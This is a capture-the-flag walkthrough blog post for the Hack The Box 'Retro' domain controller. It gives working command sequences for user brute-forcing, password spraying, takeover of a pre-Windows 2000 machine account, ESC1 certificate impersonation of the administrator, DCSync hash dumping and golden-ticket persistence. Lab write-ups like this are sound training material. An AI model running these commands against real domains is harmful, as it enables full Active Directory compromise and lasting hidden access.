Retro HTB Walkthrough: Pre-Win2000 Machine Accounts, LDAP Bitmasks & ESC1 Cert Abuse

Sep 18, 2025    #windows   #htb   #hack-the-box   #active-directory   #domain-controller   #ldap   #kerberos   #smb   #bloodhound   #certipy   #esc1   #certificate-template   #useraccountcontrol   #pre-windows-2000   #machine-account   #impacket   #as-rep-roasting   #kerbrute   #privilege-escalation  

Retro Hack The Box Walkthrough/Writeup:

How I use variables & Wordlists:

1. Enumeration:

NMAP:

Basic Scans:

TCP:

#Command
nmap $box -Pn -oA TCPbasicScan

#Results
Nmap scan report for 10.129.234.44
Host is up (0.034s latency).
Not shown: 988 filtered tcp ports (no-response)
PORT     STATE SERVICE
53/tcp   open  domain
88/tcp   open  kerberos-sec
135/tcp  open  msrpc
139/tcp  open  netbios-ssn
389/tcp  open  ldap
445/tcp  open  microsoft-ds
464/tcp  open  kpasswd5
593/tcp  open  http-rpc-epmap
636/tcp  open  ldapssl
3268/tcp open  globalcatLDAP
3269/tcp open  globalcatLDAPssl
3389/tcp open  ms-wbt-server

Comprehensive Scans:

#Command
sudo nmap -p- -sV -sC -O -Pn --disable-arp-ping $box -oA FullTCP

#Results

Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-14 07:52 BST
Nmap scan report for 10.129.234.44
Host is up (0.023s latency).
Not shown: 65515 filtered tcp ports (no-response)
PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-09-14 06:54:50Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: retro.vl0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC.retro.vl
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC.retro.vl
| Not valid before: 2024-10-02T10:33:09
|_Not valid after:  2025-10-02T10:33:09
|_ssl-date: TLS randomness does not represent time
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: retro.vl0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC.retro.vl
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC.retro.vl
| Not valid before: 2024-10-02T10:33:09
|_Not valid after:  2025-10-02T10:33:09
|_ssl-date: TLS randomness does not represent time
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: retro.vl0., Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=DC.retro.vl
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC.retro.vl
| Not valid before: 2024-10-02T10:33:09
|_Not valid after:  2025-10-02T10:33:09
3269/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: retro.vl0., Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=DC.retro.vl
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC.retro.vl
| Not valid before: 2024-10-02T10:33:09
|_Not valid after:  2025-10-02T10:33:09
3389/tcp  open  ms-wbt-server Microsoft Terminal Services
|_ssl-date: 2025-09-14T06:56:22+00:00; 0s from scanner time.
| rdp-ntlm-info:
|   Target_Name: RETRO
|   NetBIOS_Domain_Name: RETRO
|   NetBIOS_Computer_Name: DC
|   DNS_Domain_Name: retro.vl
|   DNS_Computer_Name: DC.retro.vl
|   Product_Version: 10.0.20348
|_  System_Time: 2025-09-14T06:55:42+00:00
| ssl-cert: Subject: commonName=DC.retro.vl
| Not valid before: 2025-09-13T06:50:25
|_Not valid after:  2026-03-15T06:50:25
9389/tcp  open  mc-nmf        .NET Message Framing
49664/tcp open  msrpc         Microsoft Windows RPC
49667/tcp open  msrpc         Microsoft Windows RPC
49669/tcp open  msrpc         Microsoft Windows RPC
54585/tcp open  msrpc         Microsoft Windows RPC
54598/tcp open  msrpc         Microsoft Windows RPC
57425/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
57433/tcp open  msrpc         Microsoft Windows RPC
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running (JUST GUESSING): Microsoft Windows 2022|2012|2016 (89%)
OS CPE: cpe:/o:microsoft:windows_server_2022 cpe:/o:microsoft:windows_server_2012:r2 cpe:/o:microsoft:windows_server_2016
Aggressive OS guesses: Microsoft Windows Server 2022 (89%), Microsoft Windows Server 2012 R2 (85%), Microsoft Windows Server 2016 (85%)
No exact OS matches for host (test conditions non-ideal).
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode:
|   3:1:1:
|_    Message signing enabled and required
| smb2-time:
|   date: 2025-09-14T06:55:43
|_  start_date: N/A

Updating /etc/hosts & Variables:

I have a script I use to update variables in my .zshrc and as we now know the domain and machine values lets store them.

update_var domain "retro.vl"
update_var machine "DC"

Now, I will update /etc/hosts for DNS and & further LDAP Queries.

LDAP 389:

Using LDAP anonymous bind to enumerate further:

If you are unsure of what anonymous bind does. It enables us to query for domain information anonymously, e.g. without passing credentials.

The added benefit of using ldap to perform these queries is that these are most likely not going to trigger any sort of AV etc as ldap is how AD communicates.

I actually have a handy script to check if anonymous bind is enabled & if it is to dump a large amount of information. You can find it here

It will dump general information & also detailed & simple information including:

Let’s run it and see what we get back.

python3 /home/kali/windowsTools/enumeration/ldapire/ldapire.py $box -u $user -p $pass

It turns out the anonymous bind is (+NOT+) enabled and we get the below information.

------------------------------------------------------------
 Server Information
------------------------------------------------------------
  • IP Address  : 10.129.234.44
  • Domain Name : retro.vl
  • Server Name : DC
  • Forest Level: 7
  • Domain Level: 7

------------------------------------------------------------
 Connection Attempts
------------------------------------------------------------
  • Attempting SSL connection...
  ⚠️  Connection established but no read access
  • Attempting non-SSL connection...
  ⚠️  Connection established but no read access

------------------------------------------------------------
 Connection Failed
------------------------------------------------------------
  ⚠️  Could not establish LDAP connection
  • Anonymous bind may be disabled (good security practice)
  • Credentials may be incorrect
  • Server may be unreachable
  • LDAP/LDAPS ports may be filtered

The functionality level determines the minimum version of Windows server that can be used for a DC.

Knowing the function level is useful as if want to target the DC’s and servers, we can know by looking at the function level what the minimum level of OS would be.

In this case we can see it is level 7 which means that this server has to be running Windows Server 2016 or newer.

Here’s a list of functional level numbers and their corresponding Windows Server operating systems:

Functional Level Number Corresponding OS
0 Windows 2000
1 Windows Server 2003 Interim
2 Windows Server 2003
3 Windows Server 2008
4 Windows Server 2008 R2
5 Windows Server 2012
6 Windows Server 2012 R2
7 Windows Server 2016
8 Windows Server 2019
9 Windows Server 2022

Syncing Clocks for Kerberos Exploitation:

Since Kerberos is enabled on this host, it’s best practice to sync our clock with the host’s. This helps avoid issues from clock misalignment, which can cause false negatives in Kerberos exploitation attempts.

sudo ntpdate -s $domain

+Note+: I am doing this now as we have the DNS name etc.

DNS 53:

Let’s use dnsenum to find if there are any interesting DNS records being served.

dnsenum -r --dnsserver $box --enum -p 0 -s 0 -f ~/Wordlists/seclists/Discovery/DNS/combined_subdomains.txt $domain

The entries found are just standard entries on all DC’s.

Kerberos 88:

Using Kerbrute to bruteforce Usernames:

Kerbrute is great for bruteforcing usernames/emails when kerberos is running.

kerbrute userenum -d $domain --dc $box ~/Wordlists/statistically-likely-usernames/jsmith.txt -o kerbruteUsers.txt

As we can see we have managed to extract two valid emails & usernames. tblack & jburley.

Lets extract the emails for ease:

awk -F: '{ gsub(/^[ \t]+|[ \t]+$/, "", $4); print $4 }' kerbruteUsers.txt >> KEmails.txt

This may look complex but all it does is extract the Emails using awk and any leading/trailing whitespace.

Now we need to extract just the usernames:

awk -F@ '{ print $1 }' KEmails.txt > KUsernames.txt

Now we have two files ready for use when credential stuffing or bruteforcing.

Using impacket-GetNPUsers for ASReproasting:

We should always try and asreproast with a null/guest session as it can lead to an easy win.

impacket-GetNPUsers $domain/ -request

No dice this time as we could not make a successful bind.

Lets try with our extracted kerbrute usernames #+begin*src shell impacket-GetNPUsers $domain/ -dc-ip $box -usersfile KUsernames.txt -format hashcat -outputfile asRepHashes.txt -no-pass #+end_srmc Neither of these users have the PREAUTH flag set.

SMB 445:

Attempting to connect with NULL & Guest sessions:

This is a standard check I always try as alot of the time the guest account or null sessions can lead to a foothold:

netexec smb $box -u 'guest' -p '' --shares

As we can see guest sessions are enabled and we can access the Trainees share as a guest.

Trying Usernames as Passwords:

I always try usernames as passwords as well.

netexec smb $box -u KUsernames.txt -p KUsernames.txt --shares --continue-on-success | grep [+]

We do not get any hits.

Enumerating Users with Impacket-lookupsid:

We can use impacket-lookupsid to enumerate users & groups on the domain, well anything that has a SID.

impacket-lookupsid $domain/guest@$machine.$domain -domain-sids

As we can see we have even more usernames now we can add to our usernames list.

We can also see there is a computer account BANKING$. Computer accounts are followed by the $ dollar sign.

I rerun asreproasting and shares checks with the new users but no hits.

Enumerating SMB shares using netexec:

As we have access to a share via the “Guest” account we can spider them to check for interesting files

netexec smb $box -u "Guest" -p "" -M spider_plus

As we can see 1 file was found in the share.

Lets see if there is anything of note:

cat /home/kali/.nxc/modules/nxc_spider_plus/$box.json

We can see it contains a file called important.txt.

#+end_src

Using smbclient To Connect To The Trainees Share:

smbclient -U 'guest' "\\\\$box\\trainees"

Downloading The Contents of the Trainees share with smbclient:

Let’s download the contents of the share, we can do this from within smbclient.

mget *

+Note+: This prompt is used to get EVERYTHING in a share.

Discovering All Trainee User Passwords Are The Same

Reading important.txt reveals the Admin team has all trainee users sharing one set of credentials. That’s poor security hygiene: accounts should be individual so actions are attributable, access is least-privileged, and incidents are containable, this is a big no no.

Why This Is Risky (And Sloppy):

2. Foothold

Re-running Usernames as Passwords & Discovering Trainees Password:

Even though I re-ran my tests earlier with the new updated usernames list I did forget to re-test usernames as passwords. Let’s retest.

 netexec smb $box -u Users.txt -p Users.txt --shares --continue-on-success | grep [+]

As we can see the Trainee user has the password set to trainee too.

+Note+: This is why it’s so important to re-check and re-run tests once you have updated information.

Enumerating As Trainee:

Let’s check if the Trainee user has access to different shares.

netexec smb $box -u trainee -p trainee --shares

As we can see they have access to the Notes share.

Accessing the Notes Share:

We can access the notes share using smbclient again.

smbclient -U 'trainee' "\\\\$box\\Notes"

We can see there are two files let’s grab them.

mget *

Well it turns out the user.txt is actually the flag, that was easy.

Reading ToDo.txt.

Reading the note we can see there is an old machine account (which we saw earlier) BANKING$ let’s perform a bloodhound collection to get some more information.

We can also see they say the account was “pre-made” which means there could be setup data for it in the SYSVOL share. +Note+: Future bloodstiller here, none in the SYSVOL :(

Performing a Bloodhound Collection:

We can use bloodhound-python to perform a collection to get a better lay of the land.

bloodhound-python -d $domain -ns $box -c All -u $user -p $pass

We then import these into bloodhound for investigation.

Bloodhound Findings:

Not a lot, no outbound object control.

5 actual users

Jburley is a member of the administration group.

The machine account BANKING$ is listed but does not seem to have any outbound control & it’s not trusted for delegation.

Enumerating The CA Using Certipy-ad:

As we have creds now we can also query the CA.

certipy-ad find -vulnerable -u $user@$domain -p $pass -dc-ip $box

As we can see there are alot of templates.

Discovering a Vulnerable Template:

We can see the certificate template RetroClients is available.

Looking further down we can see it’s vulnerable to the ESC1 attack.

This may give us a clear route forward as if we can take over the machine account BANKING$ we can then use the ESC1 certificate attack to escalate our privileges.

3. Privilege Escalation:

Finding A Valid Privilege Escalation Path:

This machine had me stumped for a while as I was not sure where to go next. We had a low level trainee account, but no shell, RDP or write access to any shares. The host also did not appear to be vulnerable to any remote privilege escalation vectors so how were we going to get control of the computer account BANKING$.

When I get stuck like this I re-read all my notes and findings as well as any files I have found on the host as it’s very easy to get locked into a route we think we should take and end up overlooking clues that are left.

I re-read the note ToDo.txt and the lines that stuck out to me were.

We should start with the pre created computer account. That one is older than me.

A quick search later and we get the below result from TrustedSec.

Discovering Pre Windows 2000 Machine Accounts Have Weak Default Passwords:

Reading the article we find out that if a pre-created computer account has the box that says “Assign this computer account as a pre-Windows 2000 computer” ticked it will by default have it’s name set as the password in lowercase. So if a computer is called BANKING$ by default it’s password will be banking

The article also provides a valuable microsoft link from the internet archive where we can see this explained.

+Caveat+: There is one caveat to this though, if someone has onboarded the computer to the domain (had it join the domain) they will be prompted to change the password.

Determining UserAccountControl Flags For Pre Windows 2000 Machine Accounts:

Reading the article further we find out that when a computer account is created the following UserAccountControl property flags are set for the object.

Once a computer joins the domain the 32 = PASSWD_NOTREQD property is dropped, this means we can search for the combined UserAccountControl value of 4128 or the seperate values and we should only get pre-created computer accounts that have not been onboarded.

+Important Note+: It is worth noting though adding the numbers (4096 + 32 = 4128) and filtering for this exact value can miss accounts that carry extra flags (e.g., disabled, delegation settings). Instead, it’s better to test that both bits are present, regardless of any others.

+Important Caveat+: Searching for the Bitwise values of 4096, 32 or the combined value of 4128 does not mean that only pre-Windows 2000 computer accounts are being returned. As according to the article there is currently no way to filter just the computers that have had the Assign this computer account as a pre-Windows 2000 computer checkmark set. Instead this search will return all computers which are running legacy versions of microsoft that also do not require the PASSWD.

Searching For Pre Windows 2000 Machine Accounts Using UserAccountControl Flags:

Searching online we can find this entry on The Hacker Recipes - pre-windows-2000-computers which details how we can search for computers that match our criteria we should be able to use the below query using ldapsearch-ad.py

+Note+: You can install ldapsearch-ad.py with the below command.

pipx install git+https://github.com/yaap7/ldapsearch-ad

Trying the recommended search term as per the article yields no results for me.

ldapsearch-ad.py -l ldap://$box:389 -d "$domain" -u "$user" -p "$pass" -t search -s '(&(userAccountControl=4128)(logonCount=0))'

However this is a very simple LDAP search so we should be able to customize the query below and use any tools that accept LDAP queries.

'(&(userAccountControl=4128)(logonCount=0))'

LDAP Queries To Search For Pre Windows 2000 Machine Accounts:

Instead of using the recommended ldap query we can use the below ldap queries using a bitwise matching rule’s to match the values we are looking for.

# Searching For Each Bitwise Value Recommended
(&(objectClass=computer)
(userAccountControl:1.2.840.113556.1.4.803:=4096)
(userAccountControl:1.2.840.113556.1.4.803:=32))

# Searching For Combined Bitwise Value
(&(objectCategory=computer)
(userAccountControl:1.2.840.113556.1.4.803:=4128))

Using ldapsearch-ad.py To Search For Pre Windows 2000 Machine Accounts:

We now take the above ldap query and use ldapsearch-ad.py again.

# Specific Match
ldapsearch-ad.py -l ldap://$box:389 -d "$domain" -u "$user" -p "$pass" -t search -s '(&(objectClass=computer)(userAccountControl:1.2.840.113556.1.4.803:=4096)(userAccountControl:1.2.840.113556.1.4.803:=32))'

As we can see the banking computer is listed as expected.

Using ldapsearch To Search For Pre Windows 2000 Machine Accounts:

As I said above, we are just sending an ldap query so we can also just use good ol’ reliable ldapsearch.

For this to work we need to export the DN so we can pass it to ldapsearch.

  #First we need to extract the base DN from our domain variable
  base_dn="$(awk -F. '{for(i=1;i<=NF;i++) printf "DC=%s,", $i; print ""}' <<<"$domain" | sed 's/,$//')"

  # You can also just manually export the values to a var like below
  base_dn="DC=[base],DC=[dn]"
  # Example
  base_dn="DC=retro,DC=vl"

Using pre2k To Search For Pre Windows 2000 Machine Accounts:

I also found the tool pre2k when researching tools for this issue so I will cover it here also as it’s well made.

git clone https://github.com/garrettfoster13/pre2k.git
cd pre2k/
python3 -m venv 2k
source 2k/bin/activate
pip3 install .
pre2k auth -u $user -p $pass -d $domain -dc-ip $box

As we can see we get a hit as expected.

Validating BANKING$ password With netexec:

Now we know that that the BANKING$ host has the name set as the password let’s validate it with netexec.

netexec smb $box -u 'BANKING$' -p 'banking' --shares

As we can see we get the error STATUS_NOLOGON_WORKSTATION_TRUST [[

]** Side Quest: What Is A STATUS_NOLOGON_WORKSTATION_TRUST Error?

Referring back to the TrustedSec article, we’re told the below.

You will see the error message STATUS_NOLOGON_WORKSTATION_TRUST_ACCOUNT when you have guessed the correct password for a computer account that has not been used yet.

Side Quest: What Is A STATUS_NOLOGON_WORKSTATION_TRUST Error?

If we check Microsoft’s protocol docs , we see the domain controller (DC) returns this status when an NTLM network logon is attempted using a computer account without the expected “workstation trust” context (the Netlogon secure channel / proper flags). In that case, AD won’t validate the sub-authentication package and responds with STATUS_NOLOGON_WORKSTATION_TRUST_ACCOUNT.

Specifically it says:

If the account is a computer account, the subauthentication package is not verified, and the K bit of LogonInformation.LogonNetwork.Identity.ParameterControl is not set, then return STATUS_NOLOGON_WORKSTATION_TRUST_ACCOUNT

But what does this mean? If we check the linked note reference beside it we can see it says.

In Windows NT, the DC cannot authenticate computer accounts.

That line can be misleading if read literally. It’s not simply about “NT-only” behavior; it’s about whether the workstation trust (secure channel) exists for that computer account during a network logon.

Microsoft’s [[ NTSTATUS table also spells out the code and message: 0xC0000199 STATUS_NOLOGON_WORKSTATION_TRUST_ACCOUNT -> “The account used is a computer account. Use your global user account or local user account to access this server.”

+In Simple Terms+: We found the right machine password, but because the computer hasn’t established its domain trust (no Netlogon secure channel / wrong logon path), AD refuses a normal NTLM network logon and returns STATUS_NOLOGON_WORKSTATION_TRUST_ACCOUNT.

Why The Machine Account Is Blocked:

When we try and connect a pre-created, not-yet-joined computer account using its password (the lowercase sAMAccountName), the DC recognizes the account type and the password as valid, but blocks a plain NTLM network logon because there’s no workstation trust (no secure channel / right flags).

+In Simple Terms+: Password is correct but the logon path is wrong. We’ll see STATUS_NOLOGON_WORKSTATION_TRUST_ACCOUNT instead of STATUS_LOGON_FAILURE (which indicates a wrong password).

Why Pre-created Accounts Trigger The Error:

A pre-staged computer object exists in AD, but the machine hasn’t actually joined yet, so there’s no Netlogon secure-channel secret. If we try to authenticate directly with that computer account over NTLM, AD refuses and returns STATUS_NOLOGON_WORKSTATION_TRUST_ACCOUNT even when the password is correct.

A Note About Windows NT:

That “Windows NT” note is (for) historical context, not a strict version gate. The operative concept is workstation trust. You can still hit this today on modern domains (for example the domain TrustedSec was testing) when services (NAS/CIFS/SMB endpoints, etc.) reject raw computer-account network logons unless the machine has an established trust channel (or the service explicitly allows the scenario). The same status appears because the login is missing an established machine trust.

Quick Reference Error-Code Compass (when poking at machine creds):

Changing The Password Of BANKING$ A Pre-Windows 2000 Machine:

So reading the article further it says we can change the password using a number of methods. However this article is quite outdated so checking The Hacker Recipes we can see it references a pull request for impackets rpcchangepwd.py which if we check was merged into impacket-changepasswd.

so we can use impacket-changepasswd

+Note+: I am not going to be using the change password method, I am only putting this here for completeness. If you just want to get to root skip to the next section.

Checking impacket-changepasswd help documents we can see the protocols available to us, let’s go with rpc-samr.

impacket-changepasswd $domain/BANKING\$:banking@$box -newpass StR0ngP@sSw0rd! -p rpc-samr

# Without vars so you can see what is being passed
impacket-changepasswd retro.vl/BANKING$:[email protected] -newpass StR0ngP@sSw0rd! -p rpc-samr

It worked!

Let’s verify this via netexec.

Exporting A Valid Kerberos Ticket Without Changing The Password For Pre-Windows Computer Accounts:

Reading the article further there is a link at the bottom to this post on twitter which shows that we can actually request a kerberos ticket without having to reset the password.

+Note+: In a real engagement this would be the preferred approach to take ownership of this account as we should avoid changing passwords without explicit permission.

+Box Note+: If you are going to do this yourself you will need to reset the host as the password was just changed and it will not work otherwise.

First We grab the ticket using impacket-getTGT:

impacket-getTGT $domain/BANKING\$:banking

Then we set the ENV KRB5CCNAME to point to the kerberos ticket:

export KRB5CCNAME=./BANKING\$.ccache

Let’s validate the ticket works using impacket-smbclient:

impacket-smbclient -k -no-pass $domain/BANKING\$@DC

We can also use netexec too or any other tool that allows kerberos authentication.

netexec smb $domain --use-kcache --shares

+Note+: I am going to to continue this box using the kerberos method without changing the password, so if you want to follow along I would advise resetting the box if you have changed the password.

Exploiting ESC1 For Privilege Escalation:

Now we have control of the account we should be able to exploit the vulnerable certificate “RetroClients” and escalate our privileges.

High Level Overview of the ESC1 Attack: ESC1 allows us to request a ticket on behalf of another, often higher privileged, user by supplying a UPN (User Principle Name) once we have this ticket we can then use it to authenticate by performing a pass the cert attack. Doing this allows us to execute commands in the context of the user. In simple terms we request a certificate as the administrator and use that to authenticate as them.

+Deep Dive+: If you want a deeper dive into the ESC1 attack I have done that in this article .

Requesting A Certificate:

If we run the command below

certipy-ad req -k -no-pass -dc-ip $box -target DC.$domain -ca 'retro-DC-CA' -template 'RetroClients' -upn administrator@$domain -dc-host dc.$domain

We get can see we get an error telling us the The public key does not meet the minimum size required by the specified certificate template.

Modifying ESC1 Key Length Request To Get A Certificate:

If we check the certipy-ad req --help we can see it’s possible to modify the key size.

We need to pass the argument -key-size [length], we can also see the default length is 2048 so let’s double the length and see if that resolves this.

Why we might “double” the key length: Some AD CS templates enforce a minimum key length (msPKI-Minimal-Key-Size). If 2048 fails or you want stronger keys, bump to 4096. More information here

certipy-ad req -k -no-pass -dc-ip $box -target DC.$domain -ca 'retro-DC-CA' -template 'RetroClients' -upn administrator@$domain -dc-host dc.$domain -key-size 4098

As we can see we are granted a ticket administrator.pfx

Attempting To Authenticate With The Ticket:

Now can authenticate with the ticket and get a TGT as the administrator.

 certipy-ad auth -username "administrator" -pfx administrator.pfx -domain $domain -dc-ip $box

Looks like we have another issue, we have a SID mismatch between the certificate and the administrator user.

It says to check the wiki so lets do that……well that did not shed any further light however we can supply the SID of the user we are trying to impersonate with the -sid flag, which should hopefully resolve this issue as we will be injecting it straight into the certificate.

Supplying The SID To Get A Valid Certificate:

We can get the SID from bloodhound or from output of the SID busting we did in our initial enumeration phase.

Let’s request another certificate this time with the supplied SID and the modified key length.

certipy-ad req -k -no-pass -dc-ip $box -target DC.$domain -ca 'retro-DC-CA' -template 'RetroClients' -upn administrator@$domain -dc-host dc.$domain -key-size 4098 -sid "S-1-5-21-2983547755-698260136-4283918172-500"

We have now have the cert with the administrator SID specified.

Requesting A TGT With Our Certificate & Getting The Administrator Hash:

Now we can use this certificate to request a ticket granting ticket on behalf of the administrator, this will also reveal the administrator’s hash.

certipy-ad auth -username "administrator" -pfx administrator.pfx -domain $domain -dc-ip $box

It works!

This means we can either authenticate with the hash or the ticket.

Let’s get our root flag using evil-winrm and the hash.

evil-winrm -i $box -u administrator -H $hash

If we want to use the provided ticket to authenticate with evil-winrm we have to use the below syntax.

KRB5CCNAME='./administrator.ccache' evil-winrm -i dc.$domain -r $domain

+Important Note+: If you get the error below, I have found you just need to reload the BANKING$.ccache into the ENV KRB5CCNAME again….I’m not sure why but it seems to work.

4. Persistence:

Perform DCSync Attack Using netexec:

Now we have the administrator hash lets perform a dcsync attack to dump all other hashes remotely.

netexec smb $box -u $user -H $hash -M ntdsutil

Creating a Kerberos Golden Ticket:

Let’s create a golden ticket so we can always get back in, granted we have administrator ticket.

Now we will use impacket-secretsdump to retrieve the aeskey of the krbtgt account:

impacket-secretsdump $domain/$user@$box -hashes :$hash

+Note+: I store krbtgt:aes256 value in the variable $krbtgt and have also stored the domain sid in $sid

Now we use impacket-ticketer to create the Golden Ticket:

#Using -aeskey
impacket-ticketer -aesKey $krbtgt -domain-sid $sid -domain $domain Administrator
export KRB5CCNAME=./Administrator.ccache

Let’s validate the ticket works by using the ticket for connecting via psexec

impacket-psexec -k -no-pass $machine.$domain

Why create a golden ticket?

“But bloodstiller why are you making a golden ticket if you have the admin hash?” Glad you asked:

Creating a Golden Ticket during an engagement is a reliable way to maintain access over the long haul. Here’s why:

KRBTGT Hash Dependence:

Golden Tickets are generated using the KRBTGT account hash from the target’s domain controller.

Unlike user account passwords, KRBTGT hashes are rarely rotated (and in many organizations, +they are never changed+), so in most cases the Golden Ticket remains valid indefinitely.

KRBTGT The Key to It All (for upto 10 years):

A Golden Ticket can allow you to maintain access to a system for up to 10 years (yeah, you read that right the default lifespan of a golden ticket is 10 years) without needing additional credentials.

This makes it a reliable backdoor, especially if re-access is needed long after initial entry.

For instance here is the standard Administrator ticket exported from the ESC1 attack:

As you can see it’s valid for 24 hours.

And here is the Golden ticket made with the KRBTGT account, it’s valid for just shy of 10 years.

Think about it: even if they reset every user’s password (including the administrator etc) your Golden Ticket is still valid because it’s tied to the KRBTGT account, not individual users.

Lessons Learned:

What did I learn?

  1. I actually learned alot about pre-2000 windows computer accounts. This was new to me so was fun to look into.
  2. I hadn’t done an ESC1 attack where I had to modify the key size or provide a specific sid so that was interesting too to learn about.

What silly mistakes did I make?

  1. I spent a long time trying lots of different things when I was give the key length error instead of reverting back to the docs as I should have.

Sign off:

Remember, folks as always: with great power comes great pwnage. Use this knowledge wisely, and always stay on the right side of the law!

Until next time, hack the planet!

– Bloodstiller

– Get in touch bloodstiller at bloodstiller dot com



Next: Lock HTB Walkthrough: Gitea PAT Leak → CI/CD RCE → ASPX Webshell → PrivEsc